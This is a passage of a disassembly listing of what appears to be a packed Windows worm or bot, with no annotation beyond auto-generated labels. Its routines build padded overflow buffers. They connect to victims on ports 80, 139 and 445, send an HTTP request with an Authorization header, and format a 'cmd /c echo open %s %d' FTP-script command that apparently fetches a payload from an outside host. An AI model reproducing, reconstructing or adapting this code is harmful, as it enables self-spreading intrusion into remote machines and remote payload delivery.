push [esp+8+arg_0]
call sub_4039D4
pop esi
retn 4
sub_403A08 endp
; =============== S U B R O U T I N E =======================================
sub_403A25 proc near ; CODE XREF: sub_403A71+Bp
; sub_403A90+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_4039D4
retn 8
sub_403A25 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403A35 proc near ; CODE XREF: sub_403A71+16p
; sub_403A90+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_4038CE
test al, al
jz short loc_403A6E
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push (offset loc_4289A7+1)
call sub_403860
mov ecx, esi
call sub_4038B5
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_403A6E: ; CODE XREF: sub_403A35+Fj
pop esi
leave
retn
sub_403A35 endp
; =============== S U B R O U T I N E =======================================
sub_403A71 proc near ; CODE XREF: sub_403A90+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_403A25
test al, al
jz short loc_403A8C
mov ecx, esi
call sub_403A35
loc_403A8C: ; CODE XREF: sub_403A71+12j
pop esi
retn 8
sub_403A71 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403A90 proc near ; CODE XREF: ___:00404315p
var_858 = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_40381C
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_403DE4
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_403DE4
push esi
lea ecx, [ebp+var_30]
call sub_40381C
lea ecx, [ebp+var_20]
call sub_40381C
lea ecx, [ebp+var_50]
call sub_40381C
lea ecx, [ebp+var_18]
call sub_40381C
lea ecx, [ebp+var_40]
call sub_40381C
lea ecx, [ebp+var_38]
call sub_40381C
lea ecx, [ebp+var_28]
call sub_40381C
push 4
push offset dword_428648
lea ecx, [ebp+var_30]
call sub_4039D4
push 3
push offset dword_428650
lea ecx, [ebp+var_30]
call sub_4039D4
lea ecx, [ebp+var_30]
call sub_40395A
lea ecx, [ebp+var_30]
call sub_403A35
mov esi, 800h
lea eax, [ebp+var_858]
push esi
push 42h
push eax
call sub_417330
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset byte_42863C
call sub_4039D4
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_4039D4
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_858]
push eax
call sub_4039D4
lea ecx, [ebp+var_20]
call sub_40395A
push offset loc_4289D0
lea ecx, [ebp+var_50]
call sub_403A08
lea ecx, [ebp+var_50]
call sub_40395A
push esi
lea eax, [ebp+var_858]
push 44h
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_58]
push 410h
push eax
call sub_403826
lea ecx, [ebp+var_58]
call sub_40395A
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_403A71
lea ecx, [ebp+var_58]
call sub_4038B5
push esi
lea eax, [ebp+var_858]
push 43h
push eax
call sub_417330
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_403A08
push 4
push offset dword_428654
lea ecx, [ebp+var_18]
call sub_4039D4
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_4039D4
sub edi, [ebp+arg_8]
lea eax, [ebp+var_858]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_4039D4
lea ecx, [ebp+var_18]
call sub_40395A
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_403A25
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_403A25
lea ecx, [ebp+var_40]
call sub_403A35
lea ecx, [ebp+var_18]
call sub_4038B5
lea ecx, [ebp+var_50]
call sub_4038B5
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_403A25
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_403A25
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_403A25
lea ecx, [ebp+var_38]
call sub_403A35
lea ecx, [ebp+var_20]
call sub_4038B5
lea ecx, [ebp+var_30]
call sub_4038B5
lea ecx, [ebp+var_40]
call sub_4038B5
push esi
lea eax, [ebp+var_858]
push 41h
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_4039D4
lea ecx, [ebp+var_28]
call sub_40395A
push 2
push offset dword_4289C4
lea ecx, [ebp+var_28]
call sub_4039D4
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_403A25
lea ecx, [ebp+var_28]
call sub_403A35
lea ecx, [ebp+var_38]
call sub_4038B5
lea ecx, [ebp+var_10]
call sub_40381C
lea ecx, [ebp+var_8]
call sub_40381C
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_403A25
lea ecx, [ebp+var_10]
call sub_4038CE
lea ecx, [ebp+var_28]
call sub_4038B5
push offset dword_4289C0
lea ecx, [ebp+var_8]
call sub_403A08
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_403A25
lea ecx, [ebp+var_8]
call sub_4038CE
lea ecx, [ebp+var_10]
call sub_4038B5
push offset dword_4289BC
lea ecx, [ebp+var_10]
call sub_403A08
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_403A25
lea ecx, [ebp+var_10]
call sub_4038CE
lea ecx, [ebp+var_8]
call sub_4038B5
push offset dword_4289B0
lea ecx, [ebp+var_8]
call sub_403A08
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_403A25
lea ecx, [ebp+var_8]
call sub_4038CE
lea ecx, [ebp+var_10]
call sub_4038B5
push offset dword_4289AC
lea ecx, [ebp+var_48]
call sub_403A08
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_403A25
lea ecx, [ebp+var_8]
call sub_4038B5
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop esi
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
jmp short loc_403DF2
; ---------------------------------------------------------------------------
loc_403DE4: ; CODE XREF: sub_403A90+1Bj
; sub_403A90+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
loc_403DF2: ; CODE XREF: sub_403A90+352j
pop edi
pop ebx
leave
retn
sub_403A90 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403DF6 proc near ; CODE XREF: sub_403EBA+A1p
; sub_403EBA+C2p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
push edi
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
nop
call near ptr 71AB1890h
cmp eax, edi
jnz short loc_403E5D
lea eax, [ebp+var_10C]
push eax
push esi
call sub_422A46
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_403E61
loc_403E5D: ; CODE XREF: sub_403DF6+54j
xor eax, eax
jmp short loc_403E71
; ---------------------------------------------------------------------------
loc_403E61: ; CODE XREF: sub_403DF6+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_43F680
loc_403E71: ; CODE XREF: sub_403DF6+69j
pop edi
pop esi
leave
retn
sub_403DF6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403E75 proc near ; CODE XREF: sub_403EBA+81p
; sub_403EBA+ABp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call dword_43F664
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call dword_43F6B8
cmp eax, 4
jz short loc_403E9F
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_403E9F: ; CODE XREF: sub_403E75+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_43F6B8
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_403E75 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403EBA proc near ; CODE XREF: sub_403F94+48p
; ___:00404406p
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea ebx, [edi+41h]
push ebx
mov [ebp+var_4], ebx
call sub_417B89
mov esi, eax
pop ecx
test esi, esi
jnz short loc_403EE3
xor al, al
jmp loc_403F8F
; ---------------------------------------------------------------------------
loc_403EE3: ; CODE XREF: sub_403EBA+20j
push ebx
push 0
push esi
call sub_417330
push 2Fh
push offset dword_4286E4
push esi
call sub_417390
push 8
lea eax, [esi+31h]
push offset dword_428714
push eax
mov [esi+2Fh], di
call sub_417390
push edi
lea ebx, [esi+3Bh]
push [ebp+arg_4]
mov [esi+39h], di
push ebx
call sub_417390
push 6
add ebx, edi
push offset dword_43C81C
push ebx
call sub_417390
mov ebx, [ebp+arg_0]
push 85h
push offset dword_42865C
push ebx
call sub_403E75
add esp, 48h
test al, al
jnz short loc_403F4B
loc_403F47: ; CODE XREF: sub_403EBA+B5j
xor bl, bl
jmp short loc_403F86
; ---------------------------------------------------------------------------
loc_403F4B: ; CODE XREF: sub_403EBA+8Bj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_403DF6
push [ebp+var_4]
push esi
push ebx
call sub_403E75
add esp, 1Ch
test al, al
jz short loc_403F47
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_403DF6
add esp, 10h
mov bl, 1
loc_403F86: ; CODE XREF: sub_403EBA+8Fj
push esi
call sub_417C3B
pop ecx
mov al, bl
loc_403F8F: ; CODE XREF: sub_403EBA+24j
pop edi
pop esi
pop ebx
leave
retn
sub_403EBA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403F94 proc near ; CODE XREF: ___:004043ECp
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_428720
push [ebp+arg_0]
call near ptr 71AB1AF4h
nop
cmp eax, 48h
jnz short loc_403FCF
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_403DF6
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_403FCF
cmp [ebp+var_20], 82h
jz short loc_403FD3
loc_403FCF: ; CODE XREF: sub_403F94+1Bj
; sub_403F94+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_403FD3: ; CODE XREF: sub_403F94+39j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_403EBA
add esp, 0Ch
leave
retn
sub_403F94 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403FE6 proc near ; CODE XREF: sub_404032+2Dp
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul dbl_424278
call sub_417DC4
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul dbl_424270
fstp [esp+10h+var_10]
call sub_417CA4
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call sub_417DC4
inc eax
leave
retn
sub_403FE6 endp
; =============== S U B R O U T I N E =======================================
sub_404032 proc near ; CODE XREF: sub_4041D4+24p
var_40 = qword ptr -40h
mov eax, offset loc_4230E7
call sub_418290
sub esp, 2Ch
mov al, [ebp+13h]
push ebx
push esi
push edi
xor edi, edi
lea ecx, [ebp-38h]
push edi
mov [ebp-20h], edi
mov [ebp-38h], al
call sub_404667
push 1
pop ebx
push dword ptr [ebp+10h]
mov [ebp-4], ebx
call sub_403FE6
cmp [ebp-2Ch], eax
pop ecx
jnb short loc_404074
push edi
push eax
lea ecx, [ebp-38h]
call sub_4045E2
loc_404074: ; CODE XREF: sub_404032+36j
cmp [ebp+10h], edi
mov [ebp-18h], edi
jbe loc_404191
mov ebx, [ebp+10h]
loc_404083: ; CODE XREF: sub_404032+156j
cmp dword ptr [ebp+10h], 3
jb short loc_40408D
push 3
jmp short loc_40409F
; ---------------------------------------------------------------------------
loc_40408D: ; CODE XREF: sub_404032+55j
cmp dword ptr [ebp+10h], 2
jnz short loc_404097
push 2
jmp short loc_40409F
; ---------------------------------------------------------------------------
loc_404097: ; CODE XREF: sub_404032+5Fj
cmp dword ptr [ebp+10h], 1
jnz short loc_4040A0
push 1
loc_40409F: ; CODE XREF: sub_404032+59j
; sub_404032+63j
pop ebx
loc_4040A0: ; CODE XREF: sub_404032+69j
mov [ebp-28h], ebx
mov [ebp-24h], edi
fild qword ptr [ebp-28h]
push ecx
push ecx ; double
fmul dbl_424288
fstp [esp+40h+var_40]
call sub_417DEB
pop ecx
pop ecx
call sub_417DC4
cmp ebx, edi
mov [ebp-1Ch], eax
jbe short loc_4040DF
mov esi, [ebp+0Ch]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp-10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
xor edi, edi
loc_4040DF: ; CODE XREF: sub_404032+93j
mov cl, [ebp-10h]
mov dl, [ebp-10h]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp-14h], cl
mov cl, [ebp-0Fh]
sar cl, 4
and cl, 0Fh
add [ebp+0Ch], ebx
shl dl, 4
add cl, dl
mov dl, [ebp-0Fh]
mov [ebp-13h], cl
mov cl, [ebp-0Eh]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp-12h], cl
mov cl, [ebp-0Eh]
and cl, 3Fh
cmp eax, edi
mov [ebp-11h], cl
jbe short loc_40414D
add [ebp-18h], eax
loc_404131: ; CODE XREF: sub_404032+119j
movsx eax, byte ptr [ebp+esi-14h]
lea ecx, [ebp-38h]
mov al, byte_42876C[eax]
push eax
push 1
call sub_404464
inc esi
cmp esi, [ebp-1Ch]
jb short loc_404131
loc_40414D: ; CODE XREF: sub_404032+FAj
cmp dword ptr [ebp-18h], 48h
jb short loc_40416B
push dword ptr [ebp+14h]
call sub_417AB0
pop ecx
push eax
lea ecx, [ebp-38h]
push dword ptr [ebp+14h]
call sub_4044BD
loc_404168: ; DATA XREF: Themida_:005133E1o
mov [ebp-18h], edi
loc_40416B: ; CODE XREF: sub_404032+11Fj
push 4
pop esi
cmp [ebp-1Ch], esi
jnb short loc_404185
sub esi, [ebp-1Ch]
loc_404176: ; CODE XREF: sub_404032+151j
push 3Dh
push 1
lea ecx, [ebp-38h]
call sub_404464
dec esi
jnz short loc_404176
loc_404185: ; CODE XREF: sub_404032+13Fj
cmp [ebp+10h], edi
ja loc_404083
push 1
pop ebx
loc_404191: ; CODE XREF: sub_404032+48j
mov esi, [ebp+8]
mov al, [ebp-38h]
push edi
mov ecx, esi
mov [esi], al
call sub_404667
push dword_424280
lea eax, [ebp-38h]
mov ecx, esi
push edi
push eax
call sub_404514
mov [ebp-20h], ebx
and byte ptr [ebp-4], 0
push ebx
lea ecx, [ebp-38h]
call sub_404667
mov ecx, [ebp-0Ch]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_404032 endp
; =============== S U B R O U T I N E =======================================
sub_4041D4 proc near ; CODE XREF: ___:004043CFp
mov eax, offset loc_423104
call sub_418290
sub esp, 10h
push ebx
push esi
push edi
push offset byte_43C80C
lea eax, [ebp-1Ch]
push dword ptr [ebp+10h]
xor ebx, ebx
mov [ebp-4], ebx
push dword ptr [ebp+0Ch]
push eax
call sub_404032
mov eax, [ebp+1Ch]
mov ecx, [ebp-14h]
mov byte ptr [ebp-4], 1
lea esi, [ecx+eax+36h]
push esi
call sub_417B89
mov edi, eax
add esp, 14h
cmp edi, ebx
jnz short loc_40421E
xor bl, bl
jmp short loc_404262
; ---------------------------------------------------------------------------
loc_40421E: ; CODE XREF: sub_4041D4+44j
mov ecx, [ebp-18h]
mov eax, offset dword_424290
cmp ecx, ebx
jnz short loc_40422C
mov ecx, eax
loc_40422C: ; CODE XREF: sub_4041D4+54j
cmp [ebp+18h], ebx
jz short loc_404234
mov eax, [ebp+18h]
loc_404234: ; CODE XREF: sub_4041D4+5Bj
push ecx
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi
push edi
call sub_41782A
add esp, 14h
push ebx
push esi
push edi
push dword ptr [ebp+8]
call dword_43F6B8
cmp eax, esi
jz short loc_404259
xor bl, bl
jmp short loc_40425B
; ---------------------------------------------------------------------------
loc_404259: ; CODE XREF: sub_4041D4+7Fj
mov bl, 1
loc_40425B: ; CODE XREF: sub_4041D4+83j
push edi
call sub_417C3B
pop ecx
loc_404262: ; CODE XREF: sub_4041D4+48j
and byte ptr [ebp-4], 0
push 1
lea ecx, [ebp-1Ch]
call sub_404667
or dword ptr [ebp-4], 0FFFFFFFFh
push 1
lea ecx, [ebp+14h]
call sub_404667
mov ecx, [ebp-0Ch]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_4041D4 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 420h
and byte ptr [ebp-420h], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp-41Fh]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp-420h]
push offset sub_428918
push eax
call sub_417390
add esp, 0Ch
mov eax, offset byte_42F674
push eax
push eax
push dword_43C83C
push dword ptr [ebp+8]
call sub_40AEE0
pop ecx
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
lea eax, [ebp-391h]
push 400h
push eax
call sub_41782A
add eax, 90h
push eax
lea eax, [ebp-420h]
push eax
push 164h
lea eax, [ebp-8]
push offset sub_4287B0
push eax
call sub_403A90
xor esi, esi
add esp, 30h
cmp [ebp-4], esi
jnz short loc_40432B
xor eax, eax
jmp loc_404457
; ---------------------------------------------------------------------------
loc_40432B: ; CODE XREF: ___:00404322j
mov [ebp-0Ch], esi
loc_40432E: ; CODE XREF: ___:0040442Ej
test esi, esi
jnz loc_404434
push 6
push 1
push 2
nop
call near ptr 71AB3C22h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40441C
xor eax, eax
lea edi, [ebp-1Ah]
stosd
push dword ptr [ebp+0A8h]
stosd
stosd
stosw
mov word ptr [ebp-1Ch], 2
call dword_43F668
mov [ebp-1Ah], ax
lea eax, [ebp+0Ch]
push eax
call dword_43F6A8
mov [ebp-18h], eax
lea eax, [ebp-1Ch]
push 10h
push eax
push ebx
call dword_43F610
cmp eax, 0FFFFFFFFh
jz loc_404411
cmp dword ptr [ebp+0A8h], 50h
jnz short loc_4043D9
mov al, [ebp+0C3h]
sub esp, 10h
mov esi, esp
mov [ebp-20h], esp
push 0
mov ecx, esi
mov [esi], al
call sub_404667
lea eax, [ebp+0Ch]
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+0Ch]
push eax
mov ecx, esi
call sub_4046A3
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_4041D4
add esp, 1Ch
jmp short loc_40440E
; ---------------------------------------------------------------------------
loc_4043D9: ; CODE XREF: ___:00404397j
cmp dword ptr [ebp+0A8h], 8Bh
jnz short loc_4043F3
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_403F94
jmp short loc_40440B
; ---------------------------------------------------------------------------
loc_4043F3: ; CODE XREF: ___:004043E3j
cmp dword ptr [ebp+0A8h], 1BDh
jnz short loc_404411
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_403EBA
loc_40440B: ; CODE XREF: ___:004043F1j
add esp, 0Ch
loc_40440E: ; CODE XREF: ___:004043D7j
movzx esi, al
loc_404411: ; CODE XREF: ___:0040438Aj
; ___:004043FDj
push ebx
call dword_43F700
test esi, esi
jnz short loc_404427
loc_40441C: ; CODE XREF: ___:00404347j
push 3E8h
nop
call near ptr 25F0439h
loc_404427: ; CODE XREF: ___:0040441Aj
inc dword ptr [ebp-0Ch]
cmp dword ptr [ebp-0Ch], 2
jl loc_40432E
loc_404434: ; CODE XREF: ___:00404330j
lea ecx, [ebp-8]
call sub_4038B5
test esi, esi
jz short loc_404455
mov eax, [ebp+0B0h]
imul eax, 3Ch
inc dword_42ACB8[eax]
lea eax, dword_42ACB8[eax]
loc_404455: ; CODE XREF: ___:0040443Ej
mov eax, esi
loc_404457: ; CODE XREF: ___:00404326j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4230C8
loc_40445C: ; CODE XREF: sub_4230C8+3j
; ___:004230E1j ...
push 1
call sub_404667
retn
; END OF FUNCTION CHUNK FOR sub_4230C8
; =============== S U B R O U T I N E =======================================
sub_404464 proc near ; CODE XREF: sub_404032+110p
; sub_404032+14Bp
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, dword_424280
push ebx
mov ebx, [esp+4+arg_0]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40447E
call sub_42298A
loc_40447E: ; CODE XREF: sub_404464+13j
test ebx, ebx
jbe short loc_4044B5
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_4045E2
test al, al
jz short loc_4044B5
movsx eax, [esp+0Ch+arg_4]
push ebx
push eax
mov eax, [esi+4]
add eax, [esi+8]
push eax
call sub_417330
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_4044B5: ; CODE XREF: sub_404464+1Cj
; sub_404464+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_404464 endp
; =============== S U B R O U T I N E =======================================
sub_4044BD proc near ; CODE XREF: sub_404032+131p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, dword_424280
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_4044D7
call sub_42298A
loc_4044D7: ; CODE XREF: sub_4044BD+13j
test ebx, ebx
jbe short loc_40450C
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_4045E2
test al, al
jz short loc_40450C
mov eax, [esi+8]
push ebx
push [esp+10h+arg_0]
add eax, [esi+4]
push eax
call sub_417390
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_40450C: ; CODE XREF: sub_4044BD+1Cj
; sub_4044BD+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_4044BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404514 proc near ; CODE XREF: sub_404032+17Cp
; sub_4228A0+15p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov edi, ecx
cmp [ebx+8], eax
jnb short loc_40452C
call sub_422863
loc_40452C: ; CODE XREF: sub_404514+11j
mov eax, [ebx+8]
mov ecx, [ebp+arg_4]
mov esi, eax
sub esi, ecx
cmp [ebp+arg_8], esi
jnb short loc_40453E
mov esi, [ebp+arg_8]
loc_40453E: ; CODE XREF: sub_404514+25j
cmp edi, ebx
jnz short loc_404560
push dword_424280
add esi, ecx
mov ecx, edi
push esi
call sub_4046D8
push [ebp+arg_4]
mov ecx, edi
push 0
call sub_4046D8
jmp short loc_4045D9
; ---------------------------------------------------------------------------
loc_404560: ; CODE XREF: sub_404514+2Cj
test esi, esi
jbe short loc_4045A3
cmp esi, eax
jnz short loc_4045A3
mov eax, [ebx+4]
test eax, eax
jnz short loc_404574
mov eax, offset dword_424290
loc_404574: ; CODE XREF: sub_404514+59j
cmp byte ptr [eax-1], 0FEh
jnb short loc_4045A3
push 1
mov ecx, edi
call sub_404667
mov eax, [ebx+4]
test eax, eax
jnz short loc_40458F
mov eax, offset dword_424290
loc_40458F: ; CODE XREF: sub_404514+74j
mov [edi+4], eax
mov ecx, [ebx+8]
mov [edi+8], ecx
mov ecx, [ebx+0Ch]
mov [edi+0Ch], ecx
inc byte ptr [eax-1]
jmp short loc_4045D9
; ---------------------------------------------------------------------------
loc_4045A3: ; CODE XREF: sub_404514+4Ej
; sub_404514+52j ...
push 1
push esi
mov ecx, edi
call sub_4045E2
test al, al
jz short loc_4045D9
mov eax, [ebx+4]
test eax, eax
jnz short loc_4045BD
mov eax, offset dword_424290
loc_4045BD: ; CODE XREF: sub_404514+A2j
mov ecx, [ebp+arg_4]
push esi
add eax, ecx
push eax
push dword ptr [edi+4]
call sub_417390
mov eax, [edi+4]
add esp, 0Ch
mov [edi+8], esi
and byte ptr [eax+esi], 0
loc_4045D9: ; CODE XREF: sub_404514+4Aj
; sub_404514+8Dj ...
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_404514 endp
; =============== S U B R O U T I N E =======================================
sub_4045E2 proc near ; CODE XREF: sub_404032+3Dp
; sub_404464+28p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
cmp edi, 0FFFFFFFDh
jbe short loc_4045F4
call sub_42298A
loc_4045F4: ; CODE XREF: sub_4045E2+Bj
mov ecx, [esi+4]
xor edx, edx
cmp ecx, edx
jz short loc_40461D
mov al, [ecx-1]
cmp al, dl
jz short loc_40461D
cmp al, 0FFh
jz short loc_40461D
cmp edi, edx
jnz short loc_404658
dec al
push edx
mov [ecx-1], al
loc_404612: ; CODE XREF: sub_4045E2+47j
mov ecx, esi
call sub_404667
loc_404619: ; CODE XREF: sub_4045E2+4Bj
; sub_4045E2+52j
xor al, al
jmp short loc_404662
; ---------------------------------------------------------------------------
loc_40461D: ; CODE XREF: sub_4045E2+19j
; sub_4045E2+20j ...
cmp edi, edx
jnz short loc_404636
cmp [esp+8+arg_4], dl
jz short loc_40462B
push 1
jmp short loc_404612
; ---------------------------------------------------------------------------
loc_40462B: ; CODE XREF: sub_4045E2+43j
cmp ecx, edx
jz short loc_404619
mov [esi+8], edx
mov [ecx], dl
jmp short loc_404619
; ---------------------------------------------------------------------------
loc_404636: ; CODE XREF: sub_4045E2+3Dj
cmp [esp+8+arg_4], dl
jz short loc_404653
mov eax, [esi+0Ch]
cmp eax, 1Fh
ja short loc_404648
cmp eax, edi
jnb short loc_404660
loc_404648: ; CODE XREF: sub_4045E2+60j
push 1
mov ecx, esi
call sub_404667
jmp short loc_404658
; ---------------------------------------------------------------------------
loc_404653: ; CODE XREF: sub_4045E2+58j
cmp [esi+0Ch], edi
jnb short loc_404660
loc_404658: ; CODE XREF: sub_4045E2+28j
; sub_4045E2+6Fj
push edi
mov ecx, esi
call sub_40473F
loc_404660: ; CODE XREF: sub_4045E2+64j
; sub_4045E2+74j
mov al, 1
loc_404662: ; CODE XREF: sub_4045E2+39j
pop edi
pop esi
retn 8
sub_4045E2 endp
; =============== S U B R O U T I N E =======================================
sub_404667 proc near ; CODE XREF: sub_404032+1Fp
; sub_404032+16Ap ...
